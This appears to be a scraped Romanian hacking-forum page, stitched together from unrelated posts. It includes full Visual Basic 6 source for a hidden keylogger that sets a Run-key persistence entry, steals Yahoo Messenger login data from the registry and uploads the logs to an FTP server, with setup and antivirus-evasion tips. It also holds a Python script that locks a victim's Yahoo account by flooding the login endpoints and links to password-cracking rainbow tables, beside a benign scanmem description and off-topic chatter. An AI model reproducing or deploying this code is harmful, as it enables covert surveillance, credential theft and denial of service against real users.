Leaderboard

Developer: parazitul29 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Option Explicit Dim hOpen As Long, hConnection As Long, hFile As Long Dim dwType As Long Dim dwSeman As Long Dim ftput As Long Dim ftput2 As Long Function scrietext() Dim filew As String filew = "c:\test1.txt" Open filew For Output As #2 Print #2, Text1.Text Close #2 End Function Function scriereg() On Error Resume Next Dim FileName As String FileName = "c:\test2.txt" Dim value As String Dim valuee As String Dim shell Set shell = CreateObject("WScript.Shell") shell.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SYZTEM", "C:\SYZTEM.exe" value = shell.regread("HKEY_CURRENT_USER\Software\yahoo\pager\ETS") valuee = shell.regread("HKEY_CURRENT_USER\Software\yahoo\pager\Yahoo! User ID") Open FileName For Output As #2 Print #2, "Windows Registry Editor Version 5.00" Print #2, Print #2, "[HKEY_CURRENT_USER\Software\yahoo\pager]" Print #2, Chr(34) + "ETS" + Chr(34) + "=" + Chr(34) + value + Chr(34) Print #2, Chr(34) + "Yahoo! User ID" + Chr(34) + "=" + Chr(34) + valuee + Chr(34) Print #2, Chr(34) + "Save Password" + Chr(34) + "=" + "dword:00000001" Close #2 End Function Private Sub Form_Load() On Error Resume Next scriereg FileCopy App.Path & "/cool.exe", "C:\ZYSTEM.exe" End Sub Private Sub Timer1_Timer() Dim x, x2, i As Integer For i = 65 To 90 x = GetAsyncKeyState(i) x2 = GetAsyncKeyState(16) If x = -32767 Then If x2 = -32768 Then Text1.Text = Text1.Text & Chr(i) scrietext Else: Text1.Text = Text1.Text & Chr(i + 32) scrietext End If End If Next For i = 48 To 57 x = GetAsyncKeyState(i) x2 = GetAsyncKeyState(16) If x = -32767 Then Select Case i Case 48 If x2 = -32768 Then Text1.Text = Text1.Text & ")" scrietext Else: Text1.Text = Text1.Text & "0" scrietext End If Case 49 If x2 = -32768 Then Text1.Text = Text1.Text & "!" scrietext Else: Text1.Text = Text1.Text & "1" scrietext End If Case 50 If x2 = -32768 Then Text1.Text = Text1.Text & "@" scrietext Else: Text1.Text = Text1.Text & "2" scrietext End If Case 51 If x2 = -32768 Then Text1.Text = Text1.Text & "#" scrietext Else: Text1.Text = Text1.Text & "3" scrietext End If Case 52 If x2 = -32768 Then Text1.Text = Text1.Text & "$" scrietext Else: Text1.Text = Text1.Text & "4" scrietext End If Case 53 If x2 = -32768 Then Text1.Text = Text1.Text & "%" scrietext Else: Text1.Text = Text1.Text & "5" scrietext End If Case 54 If x2 = -32768 Then Text1.Text = Text1.Text & "^" scrietext Else: Text1.Text = Text1.Text & "6" scrietext End If Case 55 If x2 = -32768 Then Text1.Text = Text1.Text & "&" scrietext Else: Text1.Text = Text1.Text & "7" End If Case 56 If x2 = -32768 Then Text1.Text = Text1.Text & "*" scrietext Else: Text1.Text = Text1.Text & "8" scrietext End If Case 57 If x2 = -32768 Then Text1.Text = Text1.Text & "(" scrietext Else: Text1.Text = Text1.Text & "9" scrietext End If End Select End If Next For i = 8 To 192 x = GetAsyncKeyState(i) x2 = GetAsyncKeyState(16) If x = -32767 Then Select Case i Case 8: Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) - 1) scrietext Case 9: Text1.Text = Text1.Text & " Tab " scrietext Case 17: Text1.Text = Text1.Text & " [ Ctrl ] " scrietext Case 18: Text1.Text = Text1.Text & " [Alt] " scrietext Case 19: Text1.Text = Text1.Text & " [ Pause] " scrietext Case 20: Text1.Text = Text1.Text & " [ Capslock ] " scrietext Case 27: Text1.Text = Text1.Text & " [Esc ] " scrietext Case 32: Text1.Text = Text1.Text & " " scrietext Case 33: Text1.Text = Text1.Text & " [ PageUp ] " scrietext Case 34: Text1.Text = Text1.Text & " [ PageDown ] " scrietext Case 35: Text1.Text = Text1.Text & " [ End ] " scrietext Case 36: Text1.Text = Text1.Text & " [ Home ] " scrietext Case 37: Text1.Text = Text1.Text & " [ Left ] " scrietext Case 38: Text1.Text = Text1.Text & " [ Up ] " scrietext Case 39: Text1.Text = Text1.Text & " [ Right ] " scrietext Case 40: Text1.Text = Text1.Text & " [ Down ] " scrietext Case 41: Text1.Text = Text1.Text & " [ Select ] " scrietext Case 44: Text1.Text = Text1.Text & " [ PrintScreen ] " scrietext Case 45: Text1.Text = Text1.Text & " [ Insert ] " scrietext Case 46: Text1.Text = Text1.Text & " [ Del ] " scrietext Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, "|", "\") scrietext Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, "<", ",") scrietext Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, "_", "-") scrietext Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, ">", ".") scrietext Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, "?", "/") scrietext Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, "+", "=") scrietext Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, ":", ";") scrietext Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), "'") scrietext Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, "{", "[") scrietext Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]") scrietext Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, "~", "`") End Select End If Next End Sub Private Sub Timer2_Timer() Const interval As Long = 4 Static minutetrecute As Long minutetrecute = minutetrecute + 1 If minutetrecute = interval Then Call upload1 minutetrecute = 0 End If End Sub Private Sub upload1() hOpen = InternetOpen("for rstcenter", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0) dwType = FTP_TRANSFER_TYPE_ASCII dwSeman = 0 hConnection = 0 If hConnection <> 0 Then InternetCloseHandle hConnection End If hConnection = InternetConnect(hOpen, "host", INTERNET_INVALID_PORT_NUMBER, _ "nume", "parola", INTERNET_SERVICE_FTP, dwSeman, 0) ftput = FtpPutFile(hConnection, "c:\test1.txt", "/test1.txt", _ dwType, 0) If hConnection <> 0 Then InternetCloseHandle hConnection End If hConnection = 0 End Sub Private Sub Timer3_Timer() Const interval As Long = 2 Static minutetrecute As Long minutetrecute = minutetrecute + 1 If minutetrecute = interval Then Call upload2 minutetrecute = 0 End If End Sub Private Sub upload2() hOpen = InternetOpen("for rstcenter", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0) dwType = FTP_TRANSFER_TYPE_ASCII dwSeman = 0 hConnection = 0 If hConnection <> 0 Then InternetCloseHandle hConnection End If hConnection = InternetConnect(hOpen, "host", INTERNET_INVALID_PORT_NUMBER, _ "nume", "parola", INTERNET_SERVICE_FTP, dwSeman, 0) ftput2 = FtpPutFile(hConnection, "c:\test2.txt", "/test2.txt", _ dwType, 0) If hConnection <> 0 Then InternetCloseHandle hConnection End If hConnection = 0 End Sub si mai punem un modul Option Explicit Public Const MAX_PATH = 260 Public Const INTERNET_FLAG_RELOAD = &H80000000 Public Const NO_ERROR = 0 Public Const FILE_ATTRIBUTE_READONLY = &H1 Public Const FILE_ATTRIBUTE_HIDDEN = &H2 Public Const FILE_ATTRIBUTE_SYSTEM = &H4 Public Const FILE_ATTRIBUTE_DIRECTORY = &H10 Public Const FILE_ATTRIBUTE_ARCHIVE = &H20 Public Const FILE_ATTRIBUTE_NORMAL = &H80 Public Const FILE_ATTRIBUTE_TEMPORARY = &H100 Public Const FILE_ATTRIBUTE_COMPRESSED = &H800 Public Const FILE_ATTRIBUTE_OFFLINE = &H1000 Public Const INTERNET_FLAG_PASSIVE = &H8000000 Public Const FORMAT_MESSAGE_FROM_HMODULE = &H800 Type WIN32_FIND_DATA dwFileAttributes As Long ftCreationTime As Currency ftLastAccessTime As Currency ftLastWriteTime As Currency nFileSizeHigh As Long nFileSizeLow As Long dwReserved0 As Long dwReserved1 As Long cFileName As String * MAX_PATH cAlternate As String * 14 End Type Public Const ERROR_NO_MORE_FILES = 18 Public Declare Function InternetFindNextFile Lib "wininet.dll" Alias "InternetFindNextFileA" _ (ByVal hFind As Long, lpvFindData As WIN32_FIND_DATA) As Long Public Declare Function FtpFindFirstFile Lib "wininet.dll" Alias "FtpFindFirstFileA" _ (ByVal hFtpSession As Long, ByVal lpszSearchFile As String, _ lpFindFileData As WIN32_FIND_DATA, ByVal dwFlags As Long, ByVal dwContent As Long) As Long Declare Function FileTimeToLocalFileTime Lib "kernel32" (lpFileTime As Any, lpLocalFileTime As Any) As Long Public Const INTERNET_OPEN_TYPE_PRECONFIG = 0 Public Const INTERNET_INVALID_PORT_NUMBER = 0 Public Const INTERNET_SERVICE_FTP = 1 Public Const FTP_TRANSFER_TYPE_BINARY = &H2 Public Const FTP_TRANSFER_TYPE_ASCII = &H1 Public Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" _ (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean Public Declare Function FtpGetCurrentDirectory Lib "wininet.dll" Alias "FtpGetCurrentDirectoryA" _ (ByVal hFtpSession As Long, ByVal lpszCurrentDirectory As String, lpdwCurrentDirectory As Long) As Boolean Public Declare Function InternetWriteFile Lib "wininet.dll" _ (ByVal hFile As Long, ByRef sBuffer As Byte, ByVal lNumBytesToWite As Long, _ dwNumberOfBytesWritten As Long) As Integer Public Declare Function FtpOpenFile Lib "wininet.dll" Alias "FtpOpenFileA" _ (ByVal hFtpSession As Long, ByVal sBuff As String, ByVal Access As Long, ByVal Flags As Long, ByVal Context As Long) As Long Public Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" _ (ByVal hFtpSession As Long, ByVal lpszLocalFile As String, _ ByVal lpszRemoteFile As String, _ ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean Public Declare Function FtpDeleteFile Lib "wininet.dll" _ Alias "FtpDeleteFileA" (ByVal hFtpSession As Long, _ ByVal lpszFileName As String) As Boolean Public Declare Function InternetCloseHandle Lib "wininet.dll" _ (ByVal hInet As Long) As Long Public Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" _ (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, _ ByVal sProxyBypass As String, ByVal lFlags As Long) As Long Public Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" _ (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, _ ByVal sUsername As String, ByVal sPassword As String, ByVal lService As Long, _ ByVal lFlags As Long, ByVal lContext As Long) As Long Public Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" _ (ByVal hFtpSession As Long, ByVal lpszRemoteFile As String, _ ByVal lpszNewFile As String, ByVal fFailIfExists As Boolean, ByVal dwFlagsAndAttributes As Long, _ ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean Const rDayZeroBias As Double = 109205# ' Abs(CDbl(#01-01-1601#)) Const rMillisecondPerDay As Double = 10000000# * 60# * 60# * 24# / 10000# Declare Function InternetGetLastResponseInfo Lib "wininet.dll" _ Alias "InternetGetLastResponseInfoA" _ (ByRef lpdwError As Long, _ ByVal lpszErrorBuffer As String, _ ByRef lpdwErrorBufferLength As Long) As Boolean Declare Function FormatMessage Lib "kernel32" Alias "FormatMessageA" _ (ByVal dwFlags As Long, ByVal lpSource As Long, ByVal dwMessageId As Long, _ ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVal nSize As Long, _ Arguments As Long) As Long Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpLibFileName As String) As Long Function Win32ToVbTime(ft As Currency) As Date Dim ftl As Currency ' Call API to convert from UTC time to local time If FileTimeToLocalFileTime(ft, ftl) Then ' Local time is nanoseconds since 01-01-1601 ' In Currency that comes out as milliseconds ' Divide by milliseconds per day to get days since 1601 ' Subtract days from 1601 to 1899 to get VB Date equivalent Win32ToVbTime = CDate((ftl / rMillisecondPerDay) - rDayZeroBias) Else MsgBox Err.LastDllError End If End Function modulul nu este facut de mine,am incercat sa-l fac dar m-am lovit de niste erori si l-am folosit pe asta de pe msdn,desi mi-am dat seama de ce aveam acele erori l-am lasat pe asta ca are mai mult cod de umplutura si din ce am citit pe hackforums cica l-ar face mai nedetectabil AVG-ul meu nu mi l-a detectat deci cel putin la avg-ul meu e nedetectabil la mine a mers asa cum trebuie a trimis totul bine pe ftp fara nici-o problema indicatii cu modificari pentru cei ce nu se descurca hConnection = InternetConnect(hOpen, "host", INTERNET_INVALID_PORT_NUMBER, _ "nume", "parola", INTERNET_SERVICE_FTP, dwSeman, 0) aici serverul ftp, numele si parola trebuie sa modificati de 2 ori ftput = FtpPutFile(hConnection, "c:\test1.txt", "/test1.txt", _ dwType, 0) modificati si aici cu fisierul vostru /test1.txt este locatia unde se uploadeaza fila Private Sub Form_Load() On Error Resume Next scriereg FileCopy App.Path & "/cool.exe", "C:\ZYSTEM.exe" End Sub cool.exe este numele exe-ului compilat si c:zYstem unde se autocopiaza cool.exe deasemenea schimbati locatia lui zystem.exe in c:\windows\system32\zystem.exe si asa recomand si cu fisierele .txt eu le-am denumit pe acolo test1,test2 Const interval As Long = 4 Static minutetrecute As Long minutetrecute = minutetrecute + 1 If minutetrecute = interval Then Call upload1 minutetrecute = 0 End If acesta este timer-ul modificati aici Const interval As Long = "cate minute vreti sa fie intre upload-uri) sunt 2 astfel de timere unul pentru keylogger si unul pentru ets in total sunt 3 timere timer1 cu interval 1 si timer2 si 3 cu interval 60000 si mai puneti un textbox si ca fereastra sa fie invizibila dati dubluclick pe form si setati acolo visible:false si showintaskbar false cred ca astea sunt toate de detectie nu stiu decat de avg nu l-am scanat pe nici-un site,nu l-am folosit pe nimeni si nici nu cred ca o sa-l folosesc l-am facut mai mult sa vad daca pot sa fac un keylogger si sa vad cum sta treaba cu visual basic 6 si cu API-urile din windows *nota acest program este un exemplu de programare in vb6 eu nu pot fi luat la raspundere pentru actiuniile voastre

XP special (7.5GB) formerly known as WS-20k Success rate: 96% Charset: 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMN OPQRSTUVWXYZ !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ (including the space character) http://rapidshare.com/files/287975080/WS-20k.part01.rar http://rapidshare.com/files/287980411/WS-20k.part02.rar http://rapidshare.com/files/288046180/WS-20k.part03.rar http://rapidshare.com/files/287978547/WS-20k.part04.rar http://rapidshare.com/files/287977009/WS-20k.part05.rar http://rapidshare.com/files/287978116/WS-20k.part06.rar http://rapidshare.com/files/287974003/WS-20k.part07.rar http://rapidshare.com/files/287977094/WS-20k.part08.rar http://rapidshare.com/files/287973413/WS-20k.part09.rar http://rapidshare.com/files/287977632/WS-20k.part10.rar http://rapidshare.com/files/287974402/WS-20k.part11.rar http://rapidshare.com/files/287976071/WS-20k.part12.rar http://rapidshare.com/files/287972952/WS-20k.part13.rar http://rapidshare.com/files/287974802/WS-20k.part14.rar http://rapidshare.com/files/287973699/WS-20k.part15.rar http://rapidshare.com/files/287982025/WS-20k.part16.rar http://rapidshare.com/files/287971388/WS-20k.part17.rar http://rapidshare.com/files/287973574/WS-20k.part18.rar http://rapidshare.com/files/287978125/WS-20k.part19.rar http://rapidshare.com/files/287970791/WS-20k.part20.rar http://rapidshare.com/files/287980572/WS-20k.part21.rar http://rapidshare.com/files/287979050/WS-20k.part22.rar http://rapidshare.com/files/287974032/WS-20k.part23.rar http://rapidshare.com/files/287980275/WS-20k.part24.rar http://rapidshare.com/files/287971942/WS-20k.part25.rar http://rapidshare.com/files/287972679/WS-20k.part26.rar http://rapidshare.com/files/287976728/WS-20k.part27.rar http://rapidshare.com/files/287974424/WS-20k.part28.rar http://rapidshare.com/files/287972766/WS-20k.part29.rar http://rapidshare.com/files/287970891/WS-20k.part30.rar http://rapidshare.com/files/287979811/WS-20k.part31.rar http://rapidshare.com/files/287977869/WS-20k.part32.rar http://rapidshare.com/files/287977572/WS-20k.part33.rar http://rapidshare.com/files/287974746/WS-20k.part34.rar http://rapidshare.com/files/287979716/WS-20k.part35.rar http://rapidshare.com/files/287976582/WS-20k.part36.rar http://rapidshare.com/files/287979795/WS-20k.part37.rar http://rapidshare.com/files/287980941/WS-20k.part38.rar http://rapidshare.com/files/287977925/WS-20k.part39.rar http://rapidshare.com/files/287972716/WS-20k.part40.rar http://rapidshare.com/files/287971464/WS-20k.part41.rar http://rapidshare.com/files/287970346/WS-20k.part42.rar http://rapidshare.com/files/287972184/WS-20k.part43.rar http://rapidshare.com/files/287974369/WS-20k.part44.rar http://rapidshare.com/files/287978155/WS-20k.part45.rar http://rapidshare.com/files/287973086/WS-20k.part46.rar http://rapidshare.com/files/287972539/WS-20k.part47.rar http://rapidshare.com/files/287973133/WS-20k.part48.rar http://rapidshare.com/files/287976134/WS-20k.part49.rar http://rapidshare.com/files/287979211/WS-20k.part50.rar http://rapidshare.com/files/287971707/WS-20k.part51.rar http://rapidshare.com/files/287977708/WS-20k.part52.rar http://rapidshare.com/files/287977937/WS-20k.part53.rar http://rapidshare.com/files/287973124/WS-20k.part54.rar http://rapidshare.com/files/287972290/WS-20k.part55.rar http://rapidshare.com/files/287973364/WS-20k.part56.rar http://rapidshare.com/files/287979215/WS-20k.part57.rar http://rapidshare.com/files/287978501/WS-20k.part58.rar http://rapidshare.com/files/287980804/WS-20k.part59.rar http://rapidshare.com/files/287974621/WS-20k.part60.rar http://rapidshare.com/files/287976766/WS-20k.part61.rar http://rapidshare.com/files/287979919/WS-20k.part62.rar http://rapidshare.com/files/287973399/WS-20k.part63.rar http://rapidshare.com/files/287977742/WS-20k.part64.rar http://rapidshare.com/files/287975937/WS-20k.part65.rar http://rapidshare.com/files/287976257/WS-20k.part66.rar http://rapidshare.com/files/287976640/WS-20k.part67.rar http://rapidshare.com/files/287974207/WS-20k.part68.rar http://rapidshare.com/files/287973366/WS-20k.part69.rar http://rapidshare.com/files/287979508/WS-20k.part70.rar http://rapidshare.com/files/287978250/WS-20k.part71.rar PASSWORD: www.peb.pl Vista special (8.0GB) formerly known as NTHASH Success rate: 99% Passwords of length 6 or less Charset: 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ (including the space character) Passwords of length 7 Charset: 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ Passwords of length 8 Charset: 0123456789abcdefghijklmnopqrstuvwxyz http://rapidshare.com/files/287977436/NTHASH.part01.rar http://rapidshare.com/files/287978095/NTHASH.part02.rar http://rapidshare.com/files/287976915/NTHASH.part03.rar http://rapidshare.com/files/287977061/NTHASH.part04.rar http://rapidshare.com/files/287975687/NTHASH.part05.rar http://rapidshare.com/files/287980615/NTHASH.part06.rar http://rapidshare.com/files/287981720/NTHASH.part07.rar http://rapidshare.com/files/287979677/NTHASH.part08.rar http://rapidshare.com/files/287972582/NTHASH.part09.rar http://rapidshare.com/files/287974175/NTHASH.part10.rar http://rapidshare.com/files/287970719/NTHASH.part11.rar http://rapidshare.com/files/287977568/NTHASH.part12.rar http://rapidshare.com/files/287976338/NTHASH.part13.rar http://rapidshare.com/files/287971304/NTHASH.part14.rar http://rapidshare.com/files/287974276/NTHASH.part15.rar http://rapidshare.com/files/287973867/NTHASH.part16.rar http://rapidshare.com/files/287980105/NTHASH.part17.rar http://rapidshare.com/files/287971844/NTHASH.part18.rar http://rapidshare.com/files/287974490/NTHASH.part19.rar http://rapidshare.com/files/287977239/NTHASH.part20.rar http://rapidshare.com/files/287982558/NTHASH.part21.rar http://rapidshare.com/files/287978720/NTHASH.part22.rar http://rapidshare.com/files/287971625/NTHASH.part23.rar http://rapidshare.com/files/287972037/NTHASH.part24.rar http://rapidshare.com/files/287975226/NTHASH.part25.rar http://rapidshare.com/files/287975365/NTHASH.part26.rar http://rapidshare.com/files/287971323/NTHASH.part27.rar http://rapidshare.com/files/287973100/NTHASH.part28.rar http://rapidshare.com/files/287972986/NTHASH.part29.rar http://rapidshare.com/files/287982178/NTHASH.part30.rar http://rapidshare.com/files/287978430/NTHASH.part31.rar http://rapidshare.com/files/287971787/NTHASH.part32.rar http://rapidshare.com/files/287981980/NTHASH.part33.rar http://rapidshare.com/files/287970540/NTHASH.part34.rar http://rapidshare.com/files/287970783/NTHASH.part35.rar http://rapidshare.com/files/287975761/NTHASH.part36.rar http://rapidshare.com/files/287978567/NTHASH.part37.rar http://rapidshare.com/files/287979685/NTHASH.part38.rar http://rapidshare.com/files/287973770/NTHASH.part39.rar http://rapidshare.com/files/287972174/NTHASH.part40.rar http://rapidshare.com/files/287978699/NTHASH.part41.rar http://rapidshare.com/files/287975918/NTHASH.part42.rar http://rapidshare.com/files/287981877/NTHASH.part43.rar http://rapidshare.com/files/287971540/NTHASH.part44.rar http://rapidshare.com/files/287979351/NTHASH.part45.rar http://rapidshare.com/files/287975771/NTHASH.part46.rar http://rapidshare.com/files/287972206/NTHASH.part47.rar http://rapidshare.com/files/287970425/NTHASH.part48.rar http://rapidshare.com/files/287980724/NTHASH.part49.rar http://rapidshare.com/files/287975456/NTHASH.part50.rar http://rapidshare.com/files/287979629/NTHASH.part51.rar http://rapidshare.com/files/287975160/NTHASH.part52.rar http://rapidshare.com/files/287979658/NTHASH.part53.rar http://rapidshare.com/files/287971454/NTHASH.part54.rar http://rapidshare.com/files/287976857/NTHASH.part55.rar http://rapidshare.com/files/287972411/NTHASH.part56.rar http://rapidshare.com/files/287976146/NTHASH.part57.rar http://rapidshare.com/files/287978361/NTHASH.part58.rar http://rapidshare.com/files/287971238/NTHASH.part59.rar http://rapidshare.com/files/287974786/NTHASH.part60.rar http://rapidshare.com/files/287977407/NTHASH.part61.rar http://rapidshare.com/files/287971406/NTHASH.part62.rar http://rapidshare.com/files/287982354/NTHASH.part63.rar http://rapidshare.com/files/287980595/NTHASH.part64.rar http://rapidshare.com/files/287975545/NTHASH.part65.rar http://rapidshare.com/files/287970978/NTHASH.part66.rar http://rapidshare.com/files/287971125/NTHASH.part67.rar http://rapidshare.com/files/287977587/NTHASH.part68.rar http://rapidshare.com/files/287973837/NTHASH.part69.rar http://rapidshare.com/files/287974542/NTHASH.part70.rar http://rapidshare.com/files/287971302/NTHASH.part71.rar http://rapidshare.com/files/287976085/NTHASH.part72.rar http://rapidshare.com/files/287972796/NTHASH.part73.rar http://rapidshare.com/files/287970162/NTHASH.part74.rar http://rapidshare.com/files/287975035/NTHASH.part75.rar http://rapidshare.com/files/287974647/NTHASH.part76.rar http://rapidshare.com/files/287977821/NTHASH.part77.rar http://rapidshare.com/files/287974333/NTHASH.part78.rar http://rapidshare.com/files/287975182/NTHASH.part79.rar http://rapidshare.com/files/287973269/NTHASH.part80.rar http://rapidshare.com/files/287975492/NTHASH.part81.rar PASSWORD: www.peb.pl cine are cont rapidshare si le poate lua, sa-mi dea pm. chiar am nevoie de ele.

Scanmem scanmem is a simple interactive debugging utility for linux, used to locate the address of a variable in an executing process. This can be used for the analysis or modification of a hostile process on a compromised machine, reverse engineering, or as a "pokefinder" to cheat at video games. Features Interactive command mode, with online help. Specify target value exactly, or using abstract "higher" and "lower". Supports variable width targets. Set variable to any value. Modify variables once, or continually over user specified period. Detailed information about mappings, allow users to eliminate regions. Example You can use scanmem to cheat at nethack (on systems where nethack is not installed sgid), here is an example session finding and setting my gold to an arbitrary value. $ scanmem --pid `pidof nethack` info: attaching to pid 17907. info: maps file located at /proc/17907/maps opened. info: 17 suitable regions found. Please enter current value, or "help" for other commands. 0> The 0 in the scanmem prompt indicates there are no known matches, so I enter my current gold level (12 pieces) and ask it to search for possible matches. 0> 12 info: searching 0xbfff9000 - 0xc0000000...........ok info: searching 0x401c2000 - 0x401e3000...........ok info: searching 0x401c1000 - 0x401c2000...........ok info: searching 0x401b6000 - 0x401b8000...........ok info: searching 0x401b5000 - 0x401b6000...........ok info: searching 0x40189000 - 0x4018a000...........ok info: searching 0x40188000 - 0x40189000...........ok info: searching 0x40181000 - 0x40183000...........ok info: searching 0x4017f000 - 0x40181000...........ok info: searching 0x40070000 - 0x40071000...........ok info: searching 0x40068000 - 0x40070000...........ok info: searching 0x40030000 - 0x40031000...........ok info: searching 0x40029000 - 0x4002a000...........ok info: searching 0x4001f000 - 0x40020000...........ok info: searching 0x40016000 - 0x40017000...........ok info: searching 0x081d4000 - 0x0820a000...........ok info: searching 0x081b7000 - 0x081d4000...........ok info: we currently have 38 matches. 38> There are 38 possible matches, I wait until my gold level changes and enter the new value (15 pieces) 38> 15 info: we currently have 1 matches. info: match identified, use "set" to modify value. info: enter "help" for other commands. 1> list [00] 0x081d6d88 { 15} (unassociated, typically .bss) 1> set 10000 info: setting *0x081d6d88 to 10000... 1> Excellent, only one possible match. I use the set command to set it to 10,000. The resulting nethack screen is below. Taviso the Digger St:17 Dx:9 Co:15 In:14 Wi:13 Ch:9 Lawful Dlvl:1 $:10000 HP:7(15) Pw:1(1) AC:9 Exp:1 Burdened scanmem is distributed with a man page that describes all of the commands. A flash demo of scanmem in action is available here. Download You can download the latest version of scanmem from here (sig). MD5(scanmem-0.07.tar.gz)= a28baa2cf69b58b2773e379a49dae11c Contact All bug reports, suggestions or feedback is appreciated. You can contact me at <taviso (a) sdf lonestar org>

Python code by cmiN - 90 lines - codepad #! /usr/bin/env python # 08.03.2010 <> 09.03.2010 | cmiN # Yahoo ID Locker (console) import sys, time, urllib.request, threading def main(args): usage = """\t\t Yahoo ID Locker 1.0 \t Usage: yidl.py ymsgrid timeout delay attacks method verbose proxy [address:port] Where ymsgrid is the victim Yahoo ID timeout is a float (seconds) delay is a float (seconds) attacks is an integer (how many requests) method is the page to use a - pwtoken_get b - isp_verify_user verbose is an integer 1 - print the retrieved data 0 - print nothing proxy is an integer 1 - enable proxy support address is the host ip port is the port address 0 - use global settings \t Example: yidl.py cmin764 10 0.1 20 a 1 1 186.56.68.5:8080""" if len(args) in range(8, 10): try: print("Please wait...") if int(args[7]) == 1: host = args[8] else: host = None attack(args[1], float(args[2]), float(args[3]), int(args[4]), args[5], int(args[6]), host) except Exception as message: print("An error occurred: {}".format(message)) except: print("Unknown error.") else: print("Ready!") else: print(usage) input() def attack(ymsgrid, timeout, delay, attacks, method, verbose, host): if method == "a" or method == "A": link = "https://login.yahoo.com/config/pwtoken_get?src=ymsgr&login={usr}&passwd={pwd}" elif method == "b" or method == "B": link = "https://login.yahoo.com/config/isp_verify_user?cookies=1&p={pwd}&l={usr}" else: raise Exception("Invalid method") link = link.format(usr=ymsgrid, pwd="pass1337") headers = { "Referer": "https://login.yahoo.com", "User-Agent": "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.04 (hardy) Firefox/3.0.6"} YDL.link = link YDL.headers = headers YDL.timeout = timeout YDL.verbose = verbose YDL.host = host while attacks > 0: YDL().start() time.sleep(delay) attacks -= 1 while threading.active_count() > 1: pass class YDL(threading.Thread): link = None headers = None timeout = None verbose = None host = None def __init__(self): threading.Thread.__init__(self) def run(self): request = urllib.request.Request(self.link, headers=self.headers) if self.host: request.set_proxy(self.host, "https") try: with urllib.request.urlopen(request, timeout=self.timeout) as uin: if self.verbose: print(uin.read()) except: pass if __name__ == "__main__": main(sys.argv) Ai nevoie de Python 3.x 1) Salvezi codul de mai sus in yidl.py 2) Start -> Run -> cmd 3) cd %locatie% unde %locatie% reprezinta locul unde se afla yidl.py 4) yidl.py -> vezi usage 5) Enjoy Updated: 09.03.2010

pai depinde ce fel de iubire stiu ca acum un an invatasem la romana despre tema iubirii.Si imi aduc aminte un singur lucru"Multi au incercat sa defineasca iubirea,insa nimeni nu a reusit ceva concret"pai de ce? pt ca fiecare percepe iubirea in alt mod. hmm dupa mine iubirea perfecta nu exista deoarece nimic nu e perfect:)si totul e schimabtor mai ales sentimenele si apogeul iubirii este atunci cand esti indragostit.m des cand esti tanar mai rar cand esti mai adult ca deja incepi sa te gandesti la bani si chestii materiale. Cred ca iubirea exista,deoarece asa cred ca am fst creeati prin iubire de parintii nostri[97%]adica eu asa ma consider. definitia matematica ar fi 1+1=1[cazul prietenilor] 1+una=1[m+f] Aaa si tin minte si o legenda greceasca. se zice ca la inceput nu exista nici barabt nici femeie ci era un singur fel de oamneni.si intr o zi zeii s au maniat pe oameni si au aruncat cu fulegere inspre ei despartindu i in 2 bucati...si de atunci fiecare parte isi cauta partea lipsa ca sa formeze un tot ..cam asta ar fii si definitia mai pe inteles Sper ca v a placut si nu v am plict .[rep + daca v a placut:D]

s-a mai discutat problema , tie- greu sa dai sarci pe forum google etc ? Da si se poate trm chiar si la peste 1000 de persoane

cel mai bine postezi torrentul dupa ce dezarhivezi la ambele. brb sa cumpar niste DVD-uri